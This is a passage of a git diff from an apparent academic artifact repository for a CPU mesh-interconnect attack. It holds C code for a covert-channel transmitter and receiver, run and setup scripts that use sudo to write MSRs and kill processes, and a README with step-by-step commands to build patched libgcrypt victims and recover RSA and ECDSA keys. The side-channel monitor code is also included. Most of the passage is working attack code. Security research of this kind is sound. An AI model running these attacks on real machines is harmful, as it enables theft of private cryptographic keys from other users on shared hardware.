(i = 0; i < monitoring_set_size; i++) { + _mm_clflush(curr_node->address); + curr_node = curr_node->next; + } + + // Prepare samples array + const int repetitions = 4000000; + uint32_t *result_x = (uint32_t *)malloc(sizeof(*result_x) * repetitions); + uint32_t *result_y = (uint32_t *)malloc(sizeof(*result_y) * repetitions); + + printf("Rx: Done with setup\n"); + + // Release setup mutex + sem_post(setup_sem); + sem_close(setup_sem); + // Barrier for experiment start + sem_t *tx_ready = sem_open("tx_ready", 0); + sem_t *rx_ready = sem_open("rx_ready", 0); + if (tx_ready == SEM_FAILED || rx_ready == SEM_FAILED) { + perror("Rx failed to open barrier"); + exit(-1); + } + // Signal to tx that rx is ready + sem_post(rx_ready); + sem_wait(tx_ready); + + // Wait a bit (give time to the transmitter to warm up) + wait_cycles(500000); + + // Read monitoring set from memory into cache + // The addresses should all fit in the LLC + curr_node = monitoring_set; + for (i = 0; i < 1000000 * monitoring_set_size; i++) { + // _mm_lfence(); + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Synchronize + uint64_t cycles; + do { + cycles = get_time(); + } while ((cycles % interval) > 10); + + // Time LLC loads + for (i = 0; i < repetitions; i++) { + + // Access the addresses sequentially. + asm volatile( + ".align 16\n\t" + "lfence\n\t" + "rdtsc\n\t" /* eax = TSC (timestamp counter) */ + "movl %%eax, %%r8d\n\t" /* r8d = eax; this is to back up eax into another register */ + + "movq (%2), %%r9\n\t" /* r9 = *(curr_node->address); LOAD */ + "movq (%3), %%r9\n\t" /* r9 = *(curr_node->next->address); LOAD */ + "movq (%4), %%r9\n\t" /* r9 = *(curr_node->next->next->address); LOAD */ + "movq (%5), %%r9\n\t" /* r9 = *(curr_node->next->next->next->address); LOAD */ + + "rdtscp\n\t" /* eax = TSC (timestamp counter) */ + "sub %%r8d, %%eax\n\t" /* eax = eax - r8d; get timing difference between the second timestamp and the first one */ + + "movl %%r8d, %0\n\t" /* result_x[i] = r8d */ + "movl %%eax, %1\n\t" /* result_y[i] = eax */ + + : "=rm"(result_x[i]), "=rm"(result_y[i]) /*output*/ + : "r"(curr_node->address), "r"(curr_node->next->address) , "r"(curr_node->next->next->address), "r"(curr_node->next->next->next->address) + : "rax", "rcx", "rdx", "r8", "r9", "memory"); + + curr_node = curr_node->next->next->next->next; + } + + // Store the samples to disk + for (i = 0; i < repetitions; i++) { + fprintf(output_file, "%" PRIu32 " %" PRIu32 "\n", result_x[i] - result_x[0], result_y[i]); + } + + // Free the buffers and file + munmap(buffer, BUF_SIZE); + fclose(output_file); + sem_close(tx_ready); + sem_close(rx_ready); + free(result_x); + free(result_y); + + return 0; +} diff --git a/02-covert-channel/run-all-capacity.sh b/02-covert-channel/run-all-capacity.sh new file mode 100755 index 0000000..ffc8803 --- /dev/null +++ b/02-covert-channel/run-all-capacity.sh @@ -0,0 +1,49 @@ +#!/bin/bash +cd "${BASH_SOURCE%/*}/" || exit # cd into correct directory + +CPU_GHZ=2.2 + +rm -rf out/capacity-data.out +./setup.sh + +for ITERATION in {1..5}; do + echo Iteration $ITERATION + for BITRATE in 0.5 1 1.5 2 2.5 3 3.5 4 4.5 5 5.5 6 6.5 7 7.5 8; do + + # Compute interval for the desired bitrate + source ../venv/bin/activate + INTERVAL=$(python print-interval-for-rate.py $CPU_GHZ $BITRATE) + deactivate + + # Kill previous processes + sudo killall -9 transmitter-rand-bits &> /dev/null + sudo killall -9 receiver-no-ev &> /dev/null + + # Run + until + sudo ./bin/transmitter-rand-bits 8 5 $INTERVAL > /dev/null & + sleep 1 + sudo ./bin/receiver-no-ev 7 6 ./out/receiver-contention.out $INTERVAL > /dev/null + do + echo "Repeating iteration because it failed" + sudo killall transmitter-rand-bits &> /dev/null + done + + sleep 0.05 + sudo killall -9 transmitter-rand-bits &> /dev/null + sudo killall -9 receiver-no-ev &> /dev/null + + source ../venv/bin/activate + ERRORS=$(python print-errors.py out/receiver-contention.out $INTERVAL --random_pattern) + deactivate + + echo "$BITRATE $ERRORS" >> out/capacity-data.out + sleep 1 + done +done + +echo "Generating plot" +source ../venv/bin/activate +python plot-capacity-figure.py out/capacity-data.out +deactivate +./cleanup.sh \ No newline at end of file diff --git a/02-covert-channel/run-all-covert.sh b/02-covert-channel/run-all-covert.sh new file mode 100755 index 0000000..f36584c --- /dev/null +++ b/02-covert-channel/run-all-covert.sh @@ -0,0 +1,41 @@ +#!/bin/bash +cd "${BASH_SOURCE%/*}/" || exit # cd into correct directory + +# Parse args +if [ $# -eq 1 ]; then + INTERVAL=$1 +elif [ $# -lt 1 ]; then + INTERVAL=3000 +else + echo "ERROR: Incorrect number of arguments" + echo "./run.sh [interval]" + exit +fi + +echo "Running covert channel test with an interval of $INTERVAL cycles" + +# Kill previous processes +sudo killall transmitter &> /dev/null + +./setup.sh + +# Run +until + sudo ./bin/transmitter 8 5 $INTERVAL & # > /dev/null & + sleep 1 + sudo ./bin/receiver-no-ev 7 6 ./out/receiver-contention.out $INTERVAL #> /dev/null +do + echo "Repeating iteration $i because it failed" + sudo killall transmitter &> /dev/null +done + +sleep 0.05 +sudo killall transmitter &> /dev/null + +./cleanup.sh + +echo "Generating plot" +source ../venv/bin/activate +python plot-channel-bits-figure.py out/receiver-contention.out $INTERVAL +python print-errors.py out/receiver-contention.out $INTERVAL +deactivate diff --git a/02-covert-channel/setup-sem.c b/02-covert-channel/setup-sem.c new file mode 100644 index 0000000..dc81f1e --- /dev/null +++ b/02-covert-channel/setup-sem.c @@ -0,0 +1,26 @@ +#include /* For O_* constants */ +#include /* For mode constants */ +#include +#include +#include +#include + +int main(int argc, char const *argv[]) +{ + if (sem_open("setup_sem", O_CREAT | O_EXCL, 0600, 1) == SEM_FAILED) { + perror("Opening setup_sem"); + return -1; + } + + if (sem_open("tx_ready", O_CREAT | O_EXCL, 0600, 0) == SEM_FAILED) { + perror("Opening tx_ready"); + return -1; + } + + if (sem_open("rx_ready", O_CREAT | O_EXCL, 0600, 0) == SEM_FAILED) { + perror("Opening rx_ready"); + return -1; + } + + return 0; +} diff --git a/02-covert-channel/setup.sh b/02-covert-channel/setup.sh new file mode 100755 index 0000000..0568ddf --- /dev/null +++ b/02-covert-channel/setup.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# Clean up the environment before running experiments +../util/setup-prefetch-on.sh + +# Fix various frequencies (optional) +# These comamnds facilitate analyzing the latency measurements but are not necessary for the attack +echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor 2> /dev/null # set performance governor +echo 1 | sudo tee /sys/devices/system/cpu/intel_pstate/no_turbo # disables turbo boost +sudo wrmsr 0x620 0x1616 # pins the uncore frequency to 2.2 GHz + +# Create semaphores +sudo bin/setup-sem diff --git a/02-covert-channel/transmitter.c b/02-covert-channel/transmitter.c new file mode 100644 index 0000000..1be6bd3 --- /dev/null +++ b/02-covert-channel/transmitter.c @@ -0,0 +1,330 @@ +#include "../util/util.h" +#include "../util/machine_const.h" +#include +#include +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ + +int main(int argc, char **argv) +{ + int i; + + // Check arguments + if (argc != 4) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice ID, and channel interval!\n"); + printf("Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID + int core_ID; + sscanf(argv[1], "%d", &core_ID); + if (core_ID > NUM_CORES_PER_SOCKET - 1 || core_ID < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CORES_PER_SOCKET); + exit(1); + } + + // Parse slice number + int slice_ID; + sscanf(argv[2], "%d", &slice_ID); + if (slice_ID > NUM_CHA - 1 || slice_ID < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // Parse channel interval + uint32_t interval = 1; // C does not like this if not initialized + sscanf(argv[3], "%" PRIu32, &interval); + if (interval <= 0) { + printf("Wrong interval! interval should be greater than 0!\n"); + exit(1); + } + + // Pin to the desired core + // + // This time we do not set the priority like in the RE because + // doing so would use root and we want our actual attack + // to be realistic for a user space process + int cpu = cha_id_to_cpu[core_ID]; + pin_cpu(cpu); + + ////////////////////////////////////////////////////////////////////// + // Set up memory + ////////////////////////////////////////////////////////////////////// + + // Mutex to avoid colliding with tx when creating EVs + // This is unnecessary when using the hash function + sem_t *setup_sem = sem_open("setup_sem", 0); + if (setup_sem == SEM_FAILED) { + perror("rx sem_open cha_pmon_sem"); + return -1; + } + sem_wait(setup_sem); + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // EV preparation variables + int l2_set_1 = 0; + int l2_set_2 = 165; + int n_of_l2_sets_per_ev = 2; + int n_of_ev_addresses_per_l2_set = 20; + struct Node *ev_1 = NULL, *ev_2 = NULL; + struct Node *current = NULL; + uint64_t index1, index2, offset; + + ////////////////////////////////////////////////////////////////////// + // Prepare first EV (remote) + ////////////////////////////////////////////////////////////////////// + + // Find first address in our desired slice and the first set of the EV + offset = find_next_address_on_slice_and_set(buffer, slice_ID, l2_set_1); + + // Save this address in the monitoring set + append_string_to_linked_list(&ev_1, (void *)((uint64_t)buffer + offset)); + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)ev_1->address, 2); + index1 = get_cache_set_index((uint64_t)ev_1->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + current = ev_1; + for (i = 1; i < n_of_ev_addresses_per_l2_set; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)current->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)current->address + offset, 2) || + slice_ID != get_cache_slice_index((void *)((uint64_t)current->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev_1, (void *)((uint64_t)current->address + offset)); + current = current->next; + } + + // Find first address in our desired slice and the second set of the EV + offset = find_next_address_on_slice_and_set(buffer, slice_ID, l2_set_2); + + // Save this address in the monitoring set + append_string_to_linked_list(&ev_2, (void *)((uint64_t)buffer + offset)); + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)ev_2->address, 2); + index1 = get_cache_set_index((uint64_t)ev_2->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + current = ev_2; + for (i = 1; i < n_of_ev_addresses_per_l2_set; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)current->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)current->address + offset, 2) || + slice_ID != get_cache_slice_index((void *)((uint64_t)current->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev_2, (void *)((uint64_t)current->address + offset)); + current = current->next; + } + + // Merge ev_1 and ev_2 + struct Node *ev = NULL; + struct Node *head_1 = ev_1; + struct Node *head_2 = ev_2; + for (i = 0; i < n_of_ev_addresses_per_l2_set; i++) { + append_string_to_linked_list(&ev, head_1->address); + append_string_to_linked_list(&ev, head_2->address); + + head_1 = head_1->next; + head_2 = head_2->next; + } + + ////////////////////////////////////////////////////////////////////// + // Prepare second EV (local) + ////////////////////////////////////////////////////////////////////// + + ev_1 = NULL; + ev_2 = NULL; + + // Find first address in our desired slice and the first set of the EV + offset = find_next_address_on_slice_and_set(buffer, core_ID, l2_set_1); + + // Save this address in the monitoring set + append_string_to_linked_list(&ev_1, (void *)((uint64_t)buffer + offset)); + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)ev_1->address, 2); + index1 = get_cache_set_index((uint64_t)ev_1->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + current = ev_1; + for (i = 1; i < n_of_ev_addresses_per_l2_set; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)current->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)current->address + offset, 2) || + core_ID != get_cache_slice_index((void *)((uint64_t)current->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev_1, (void *)((uint64_t)current->address + offset)); + current = current->next; + } + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, core_ID, l2_set_2); + + // Save this address in the monitoring set + append_string_to_linked_list(&ev_2, (void *)((uint64_t)buffer + offset)); + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)ev_2->address, 2); + index1 = get_cache_set_index((uint64_t)ev_2->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + current = ev_2; + for (i = 1; i < n_of_ev_addresses_per_l2_set; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)current->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)current->address + offset, 2) || + core_ID != get_cache_slice_index((void *)((uint64_t)current->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev_2, (void *)((uint64_t)current->address + offset)); + current = current->next; + } + + // Merge ev_1 and ev_2 + struct Node *ev_local = NULL; + head_1 = ev_1; + head_2 = ev_2; + for (i = 0; i < n_of_ev_addresses_per_l2_set; i++) { + append_string_to_linked_list(&ev_local, head_1->address); + append_string_to_linked_list(&ev_local, head_2->address); + + head_1 = head_1->next; + head_2 = head_2->next; + } + + ////////////////////////////////////////////////////////////////////// + // Done setting up EVs + ////////////////////////////////////////////////////////////////////// + +#ifdef RANDOM_PATTERN + char *pattern = "1110011001010000110111110101011110001001111001010001100011110011100100011101110010010100100100011001110101111010111110100010000100100111001111100111011010110110011011011000011010001010000101110010010110001010110000001001111111001111010111111001111111000100000000100011011101011000001100010000000110000011001101101111010100011000100110100011001000100011011000010100100011100101011010011000110011001100001101101001101111011110000100001010001100001100000010111111110111110100110011100000011101001100110011001010101011011101000101110111101000001000110101110000100100010110110100101101001100110101110011000010111011010111111100001101011000000000011101011101000111101111110110010100010000101001100110000010000011111100101101010110001111011111100000001110110100011000011010101100111010100100101100000011000100101011000101111001011011111101101011010100111000101000101111101000111101001111100101100010011111111000100011010101101010100001110000011101011000001101100010100100001110000000100100000000000010100000"; + int patternlen = strlen(pattern); +#endif + + // Read both ev and ev_local from memory + current = ev; + i = 0; + while (current != NULL) { + #ifdef DEBUG + printf("Tx EV %2d: %p: (%ld, %ld, %ld, %ld)\n", i, current->address, + get_cache_set_index((uint64_t)(current->address), 1), + get_cache_set_index((uint64_t)(current->address), 2), + get_cache_set_index((uint64_t)(current->address), 3), + get_cache_slice_index(current->address)); + #endif + _mm_lfence(); + maccess(current->address); + current = current->next; + i++; + } + + i = 0; + current = ev_local; + while (current != NULL) { + #ifdef DEBUG + printf("Tx EV_Local %2d: %p: (%ld, %ld, %ld, %ld)\n", i, current->address, + get_cache_set_index((uint64_t)(current->address), 1), + get_cache_set_index((uint64_t)(current->address), 2), + get_cache_set_index((uint64_t)(current->address), 3), + get_cache_slice_index(current->address)); + #endif + _mm_lfence(); + maccess(current->address); + current = current->next; + i++; + } + + _mm_lfence(); + + ////////////////////////////////////////////////////////////////////// + // Start CC + ////////////////////////////////////////////////////////////////////// + + // Release setup mutex + sem_post(setup_sem); + sem_close(setup_sem); + // Barrier for experiment start + sem_t *tx_ready = sem_open("tx_ready", 0); + sem_t *rx_ready = sem_open("rx_ready", 0); + if (tx_ready == SEM_FAILED || rx_ready == SEM_FAILED) { + perror("Rx failed to open barrier"); + exit(-1); + } + // Signal to tx that rx is ready + sem_post(tx_ready); + sem_wait(rx_ready); + + uint64_t start_t; + uint32_t time; + + // Synchronize + do { + start_t = get_time(); + } while ((start_t % interval) > 10); + + // Send + for (time = 0; time < UINT32_MAX; time++) { + + #ifdef RANDOM_PATTERN + if (pattern[time % patternlen] == '1') { + #else + if (time % 2 == 0) { + #endif + // Send 1 by spamming + while ((get_time() - start_t) < (interval * time)) { + current = ev; + while (current != NULL) { + maccess(current->address); + current = current->next; + } + current = ev_local; + while (current != NULL) { + maccess(current->address); + current = current->next; + } + } + } else { + // Send 0 by doing nothing + while ((get_time() - start_t) < (interval * time)) {} + } + } + + // Free the buffer + munmap(buffer, BUF_SIZE); + + sem_close(tx_ready); + sem_close(rx_ready); + + // Clean up lists + struct Node *tmp = NULL; + for (current = ev; current != NULL; tmp = current, current = current->next, free(tmp)); + for (current = ev_local; current != NULL; tmp = current, current = current->next, free(tmp)); + + return 0; +} diff --git a/03-side-channel/Makefile b/03-side-channel/Makefile new file mode 100644 index 0000000..5c2f878 --- /dev/null +++ b/03-side-channel/Makefile @@ -0,0 +1,35 @@ +CC:= gcc +HOSTNAME := $(shell hostname|awk '{print toupper($$0)'}) +CFLAGS:= -O3 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +CFLAGSO1:= -O1 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +LIBS:= -lpthread -lrt + +all: obj bin out mesh-monitor mesh-monitor-full-key-per-iteration + +mesh-monitor: obj/mesh-monitor.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +mesh-monitor-full-key-per-iteration: obj/mesh-monitor-full-key-per-iteration.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +obj/%.o: %.c + $(CC) -c $(CFLAGS) -o $@ $< + +# pmon_utils needs to be compiled with -O1 for the get_corresponding_cha function to work +../util/pmon_utils.o: ../util/pmon_utils.c + $(CC) -c $(CFLAGSO1) -o $@ $^ + +obj: + mkdir -p $@ + +bin: + mkdir -p $@ + +out: + mkdir -p $@ + +clean: + rm -rf bin obj + rm -rf ../util/*.o + +.PHONY: all clean diff --git a/03-side-channel/README.md b/03-side-channel/README.md new file mode 100644 index 0000000..fe61de7 --- /dev/null +++ b/03-side-channel/README.md @@ -0,0 +1,123 @@ +# Side-Channel Attack on Cryptographic Libraries + +This folder contains code that implements a side-channel attack using the mesh interconnect. +The `attacker` collects latency samples while the `victim` runs a vulnerable cryptographic function. +The latency traces can be used to infer key bits. + +## Prerequisites + +**Expected Runtime: 2 min** + +- Build the attacker with `make`. +- From the `victim` directory, clone, patch and build the RSA victim as follows: +```sh +# Clone official libgcrypt +git clone --depth 1 --branch libgcrypt-1.5.2 https://github.com/gpg/libgcrypt.git libgcrypt-1.5.2 + +# Apply our patch (use --dry-run to check before doing this) +cd libgcrypt-1.5.2 +patch -p1 < ../libgcrypt-1.5.2.patch + +# Compile the victim +# You may have to apt install dependencies (e.g., libpgp-error-dev, fig2dev, texinfo) +automake --add-missing # To fix a bug with libgcrypt 1.5.2 +./autogen.sh && ./configure --enable-maintainer-mode && make -j`nproc` +``` +- From the `victim` directory, clone, patch and build the ECDSA victim as follows: +```sh +# Clone official libgcrypt +git clone --depth 1 --branch libgcrypt-1.6.3 https://github.com/gpg/libgcrypt.git libgcrypt-1.6.3 + +# Apply our patch (use --dry-run to check before doing this) +cd libgcrypt-1.6.3 +patch -p1 < ../libgcrypt-1.6.3.patch + +# Compile the victim +# You may have to apt install dependencies (e.g., libpgp-error-dev, fig2dev, texinfo) +./autogen.sh && ./configure --enable-maintainer-mode && make -j`nproc` +``` +- Ensure that the Python virtual environment is set up in the parent directory. + +## Single-Bit Classification Accuracy + +**Expected Runtime: 30 min (15 min each for ECDSA and RSA)** + +Make sure that your system is idle and minimize the number of background processes that are running and may add noise to the experiment. +Then, to reproduce the results of the paper, follow the steps below. +Note that you will use a script called `orchestrator.py` that is responsible for orchestrating the victim and the attacker/monitor processes and carrying out the attack. + +Before running, double check the following: + +- Both victims and monitor are compiled (see Prerequisites above) +- Your system is idle and there are a minimum number of background processes running. +- You are in the `03-side-channel` directory +- No other victim is running (if you ran the attack before, see step 5 below). + +To run the attack: + +1. Set up the environment: `./setup.sh` +2. Start **one** victim in the background + - RSA: `sudo ./victim/libgcrypt-1.5.2/tests/mesh-victim &` + - ECDSA: `sudo ./victim/libgcrypt-1.6.3/tests/mesh-victim &` +3. Run the orchestrator: `sudo ../venv/bin/python orchestrator.py --collect 5000 --train` + - You can change the `--collect` value to adjust the number of repetitions +4. Stop the background victim process: `sudo pkill -f mesh-victim` +5. Clean up the environment: `./cleanup.sh` + +### Output + +The orchestrator should report the single-bit classification accuracy achieved. +On average, these accuracies should be at or above the stated accuracy in the paper. + +The plots can also be seen in the `plots` directory. +If frequency pinning is disabled in `util/setup-prefetch-on.sh`, the plot filtering thresholds (`low_thres` and `high_thres`, labeled with `FIXME`) need to be lowered. +40 and 85 worked well for the low and high thresholds respectively. + +Note that some variance (both in the plots and in the classifier accuracy) is expected due to noise in the collected data and/or differences in the hardware/software. +For the plots, the presence of the second spike for a 1 bit (as described in the paper) is more important than the exact shape of the curve. + +Some example plots are shown below. + +![RSA plot](../img/rsa.png) +*RSA trace* + +![ECDSA plot](../img/ecdsa.png) +*ECDSA trace* + +## Full-Key Recovery + +**Expected Runtime: 30 hours (15 hours each for ECDSA and RSA)** + +Due to the long runtime, it is recommended that you run this inside a `tmux` window. + +1. Open a new `tmux` window +2. Navigate to `dont-mesh-around/side-channel` +3. Run `sudo ./setup.sh` +4. Start the victim + - RSA: `sudo ./victim/libgcrypt-1.5.2/tests/mesh-victim &` + - ECDSA: `sudo ./victim/libgcrypt-1.6.3/tests/mesh-victim &` +5. Run the orchestrator + - RSA (use 200 training keys): `sudo ../venv/bin/python orchestrator.py --fullkeyrecoverycollect 200 200 --fullkeyrecoverytrain --fullkeyrecoverytest` + - ECDSA (use 800 training keys): `sudo ../venv/bin/python orchestrator.py --fullkeyrecoverycollect 800 200 --fullkeyrecoverytrain --fullkeyrecoverytest` +6. Stop the background victim process: `sudo pkill -f mesh-victim` +7. Clean up the environment: `./cleanup.sh` + +### Output + +The output of the full-key recovery is printed out to the terminal. +It shows the percentage of the key recovered with an increasing number of traces used in the majority-voting algorithm. + +## Troubleshooting + +Some variance (both in the plots and in the classifier accuracy) is expected due to noise in the collected data and/or differences in the hardware/software. +To try to reduce this variance, we recommend the following steps. + +First, double-check that your system is idle and that you minimized the number of background processes. +Second, make sure that you only have one `mesh-victim` and no `mesh-monitor` processes running before you start the orchestrator. +Also, note that it may take a couple of runs for the results to stabilize. + +## Note + +This proof of concept implementation uses root privileges to get the physical address in the slice mapping function. +However, as discussed in the paper, the slice mapping of an address can be computed with unprivileged access too (by using timing information). +That is, root access is not a requirement of the attack and is used in our implementation only for convenience. diff --git a/03-side-channel/cleanup.sh b/03-side-channel/cleanup.sh new file mode 100755 index 0000000..7c1c2dc --- /dev/null +++ b/03-side-channel/cleanup.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +sudo pkill -f mesh-victim +sudo pkill -f mesh-monitor +sudo pkill -f python3 +sudo pkill -f python + +../util/cleanup.sh diff --git a/03-side-channel/mesh-monitor-full-key-per-iteration.c b/03-side-channel/mesh-monitor-full-key-per-iteration.c new file mode 100644 index 0000000..4372910 --- /dev/null +++ b/03-side-channel/mesh-monitor-full-key-per-iteration.c @@ -0,0 +1,476 @@ +#include "../util/util.h" +#include "scutil/dont-mesh-around.h" +#include "../util/machine_const.h" + +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ +#define MAXSAMPLES 100000 + +static inline void access_ev(struct Node *ev) +{ + // Access EV multiple times (linear access pattern) + for (int j = 0; j < 4; j++) { + struct Node *curr_node = ev; + while (curr_node && curr_node->next && curr_node->next->next) { + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + curr_node = curr_node->next; + } + } +} + +int main(int argc, char **argv) +{ + int i, j; + + // Check arguments + if (argc != 6) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice ID, repetitions-train, repetitions-test, and last iteration of interest!\n"); + fprintf(stderr, "Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID + int core_ID; + sscanf(argv[1], "%d", &core_ID); + if (core_ID > NUM_CHA - 1 || core_ID < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CHA); + exit(1); + } + + // Parse slice number + int slice_ID; + sscanf(argv[2], "%d", &slice_ID); + if (slice_ID > LLC_CACHE_SLICES - 1 || slice_ID < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // For this experiment we can use a fixed cache set + int set_ID = 4; + + // Parse repetitions + int repetitions_train; + sscanf(argv[3], "%d", &repetitions_train); + if (repetitions_train < 0) { + fprintf(stderr, "Wrong repetitions_train! repetitions_train should be greater than 0!\n"); + exit(1); + } + + // Parse repetitions + int repetitions_test; + sscanf(argv[4], "%d", &repetitions_test); + if (repetitions_test < 0) { + fprintf(stderr, "Wrong repetitions_test! repetitions_test should be greater than 0!\n"); + exit(1); + } + + // Parse last victim iteration to attack + int victim_iteration_no_last; + sscanf(argv[5], "%d", &victim_iteration_no_last); + if (victim_iteration_no_last <= 0) { + printf("Wrong victim_iteration_no! victim_iteration_no_last should be greater than 0!\n"); + exit(1); + } + + // Create file shared with victim + volatile struct sharestruct *sharestruct = get_sharestruct(); + + // Pin to the desired core + // + // This time we do not set the priority like in the RE because + // doing so would use root and we want our actual attack + // to be realistic for a user space process + int cpu = cha_id_to_cpu[core_ID]; + pin_cpu(cpu); + + ////////////////////////////////////////////////////////////////////// + // Set up memory + ////////////////////////////////////////////////////////////////////// + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Init variables for MS and EV + uint64_t index1, index2, offset; + struct Node *monitoring_set = NULL; + struct Node *curr_node = NULL; + int monitoring_set_size = 16; + int total_sets = 32; + struct Node *ev = NULL; + int ev_set = set_ID; + int ev_size = 16; + int ev_slice = core_ID; + + // Prepare monitoring set + for (int k = 0; k < total_sets; k++, set_ID += 2) { + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, slice_ID, set_ID); + + // Save this address in the monitoring set + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)buffer + offset)); + + if (k == 0) { + curr_node = monitoring_set; + } else { + curr_node = curr_node->next; + } + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)curr_node->address, 2); + index1 = get_cache_set_index((uint64_t)curr_node->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + for (i = 1; i < monitoring_set_size; i++) { + // offset = 2 * 1024 * 1024; // skip to an next address in the next page + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)curr_node->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)curr_node->address + offset, 2) || + slice_ID != get_cache_slice_index((void *)((uint64_t)curr_node->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)curr_node->address + offset)); + curr_node = curr_node->next; + } + } + + // Flush monitoring set + curr_node = monitoring_set; + while (curr_node != NULL) { + _mm_clflush(curr_node->address); + curr_node = curr_node->next; + } + + // Prepare EV (local slice) + for (int k = 0; k < total_sets; k++, ev_set += 2) { + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, ev_slice, ev_set); + + // Save this address in the ev set + append_string_to_linked_list(&ev, (void *)((uint64_t)buffer + offset)); + + if (k == 0) { + curr_node = ev; + } else { + curr_node = curr_node->next; + } + + // Get the L1, L2 and L3 cache set indexes of the EV set + index2 = get_cache_set_index((uint64_t)curr_node->address, 2); + index1 = get_cache_set_index((uint64_t)curr_node->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + for (i = 1; i < ev_size; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)curr_node->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)curr_node->address + offset, 2) || + ev_slice != get_cache_slice_index((void *)((uint64_t)curr_node->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev, (void *)((uint64_t)curr_node->address + offset)); + curr_node = curr_node->next; + } + } + + // Flush ev set + curr_node = ev; + while (curr_node != NULL) { + _mm_clflush(curr_node->address); + curr_node = curr_node->next; + } + + ////////////////////////////////////////////////////////////////////// + // Done setting up memory + ////////////////////////////////////////////////////////////////////// + + // Prepare samples array + uint32_t *samples = (uint32_t *)malloc(sizeof(*samples) * MAXSAMPLES); + fprintf(stderr, "READY\n"); + + // Warm up + for (i = 0; i < 100000; i++) { + curr_node = monitoring_set; + while (curr_node != NULL) { + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Evict from the private caches + 